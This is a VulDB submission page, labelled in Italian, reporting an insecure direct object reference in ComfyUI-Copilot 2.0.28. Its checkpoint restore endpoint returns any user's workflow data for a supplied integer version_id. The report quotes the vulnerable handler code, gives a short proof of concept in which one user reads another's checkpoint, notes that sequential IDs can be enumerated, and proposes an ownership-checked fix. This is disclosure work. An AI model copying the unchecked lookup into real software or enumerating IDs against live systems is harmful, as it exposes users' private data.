| Titolo | AIDC-AI ComfyUI-Copilot 2.0.28 Insecure Direct Object Reference (IDOR) / Cross-Tenant Data Expo |
|---|
| Descrizione | ## Vulnerability Title
Cross-Tenant Data Exposure via Hash-Key Confusion in Workflow Checkpoint Restore
## Affected Component
`backend/controller/conversation_api.py` and `backend/dao/workflow_table.py`
Repository: https://github.com/AIDC-AI/ComfyUI-Copilot
## Summary
An attacker with access to the checkpoint restore endpoint can request a different user's `version_id`, causing application-level object-key reuse, which leads to unauthorized retrieval of saved workflow checkpoint data. The application treats the client-supplied `version_id` as sufficient proof of access to a workflow checkpoint, negatively impacting users whose workflow data is stored in `workflow_version`.
## Technical Details
The vulnerability occurs because the workflow checkpoint restore path uses a bare integer `version_id` as the security-relevant object key. The saved record contains `session_id`, `workflow_data`, `workflow_data_ui`, and `attributes`, but the restore path does not bind the requested checkpoint to the caller's session, user, tenant, or permission context before returning the saved workflow payload.
**Where the Identity Key is Extracted**
In `backend/controller/conversation_api.py`, the restore endpoint accepts `version_id` from the query string and uses it as the only selector for the persisted workflow checkpoint. No request header, authenticated principal, or `session_id` comparison is performed before returning `workflow_data` and `workflow_data_ui`:
```python
@server.PromptServer.instance.routes.get("/api/restore-workflow-checkpoint")
async def restore_workflow_checkpoint(request):
try:
version_id = request.query.get('version_id')
# ... validation ...
version_id = int(version_id)
# Get workflow data by version ID
workflow_version = get_workflow_data_by_id(version_id)
# ...
return web.json_response({
"success": True,
"data": {
"version_id": version_id,
"workflow_data": workflow_version.get('workflow_data'),
"workflow_data_ui": workflow_version.get('workflow_data_ui'),
"attributes": workflow_version.get('attributes'),
"created_at": workflow_version.get('created_at')
},
"message": f"Workflow checkpoint restored successfully"
})
```
The Data Access Object (DAO) confirms that the database query is keyed only by the primary key `id` (`backend/dao/workflow_table.py`):
```python
def get_workflow_version_by_id(self, version_id: int) -> Optional[Dict[str, Any]]:
session = self.get_session()
try:
version = session.query(WorkflowVersion)\
.filter(WorkflowVersion.id == version_id)\
.first()
# ...
```
Equality of `version_id` only means two requests name the same database row. Because the restore path has no ownership or permission revalidation, object-key equality is incorrectly treated as authorization equivalence.
## Impact
This vulnerability allows attackers to:
- Read another user's saved `workflow_data` and `workflow_data_ui`.
- Enumerate sequential checkpoint IDs to discover private workflow artifacts.
- Reuse persisted checkpoint records across security boundaries until the database is invalidated or migrated.
The attack is persistent: workflow checkpoint rows generated with the vulnerable object-key scheme remain readable by `version_id` until the checkpoint store is cleared, migrated, or protected by read-time authorization checks.
## Proof of Concept
The test simulates Alice saving a private checkpoint and Bob restoring Alice's checkpoint by changing only the `version_id`.
```python
#!/usr/bin/env python3
"""Minimal PoC for checkpoint object-key confusion."""
alice_save = await save_workflow_checkpoint(FakeRequest({
"session_id": "alice_session",
"workflow_api": {
"owner_marker": "ALICE_PRIVATE_WORKFLOW",
"prompt": "private prompt only Alice should see"
},
"workflow_ui": {"ui_owner_marker": "ALICE_PRIVATE_UI"},
"checkpoint_type": "debug_start",
}, headers={"Authorization": "Bearer alice-token"}))
alice_version = alice_save.data["data"]["version_id"]
# Bob supplies his own request metadata but targets Alice's version_id.
bob_restore_alice = await restore_workflow_checkpoint(FakeRequest(
query={"version_id": str(alice_version)},
headers={"Authorization": "Bearer bob-token", "X-Session-ID": "bob_session"},
))
restored = bob_restore_alice.data["data"]
assert bob_restore_alice.data["success"] is True
assert restored["workflow_data"]["owner_marker"] == "ALICE_PRIVATE_WORKFLOW"
assert restored["workflow_data_ui"]["ui_owner_marker"] == "ALICE_PRIVATE_UI"
print("vulnerability_reproduced True")
```
## Remediation
Bind checkpoint records to a server-side authenticated principal and revalidate authorization before returning checkpoint data. Do not rely on a client-supplied integer `version_id` as the sole object identity for restore operations.
Example implementation change:
```python
# In backend/controller/conversation_api.py
workflow_version = get_workflow_data_by_id_for_owner(
version_id=version_id,
owner_id=current_user.id,
session_id=current_session_id,
)
if not workflow_version:
return web.json_response({
"success": False,
"message": "Workflow version not found"
}, status=404)
```
Additional mitigations:
1. Complete Field Coverage: Include all fields relevant to authorization, ownership, tenant isolation, and checkpoint schema validity.
2. Domain Separation: Separate checkpoint namespaces across users, tenants, sessions, and object types.
3. Read-Time Revalidation: Re-check ownership and policy before returning any persisted workflow checkpoint.
## References
- Save/Restore handler logic: `https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/controller/conversation_api.py`
- Database table query bindings: `https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/dao/workflow_table.py`
- Frontend API call endpoint structure: `https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/ui/src/apis/workflowChatApi.ts` |
|---|
| Fonte | ⚠️ https://github.com/AIDC-AI/ComfyUI-Copilot/issues/149 |
|---|
| Utente | dem0000 (UID 98390) |
|---|
| Sottomissione | 27/05/2026 10:04 (1 mese fa) |
|---|
| Moderazione | 27/06/2026 19:03 (1 month later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 374489 [AIDC-AI ComfyUI-Copilot fino a 2.0.28 Workflow Checkpoint Restore conversation_api.py escalationi di privilegi] |
|---|
| Punti | 20 |
|---|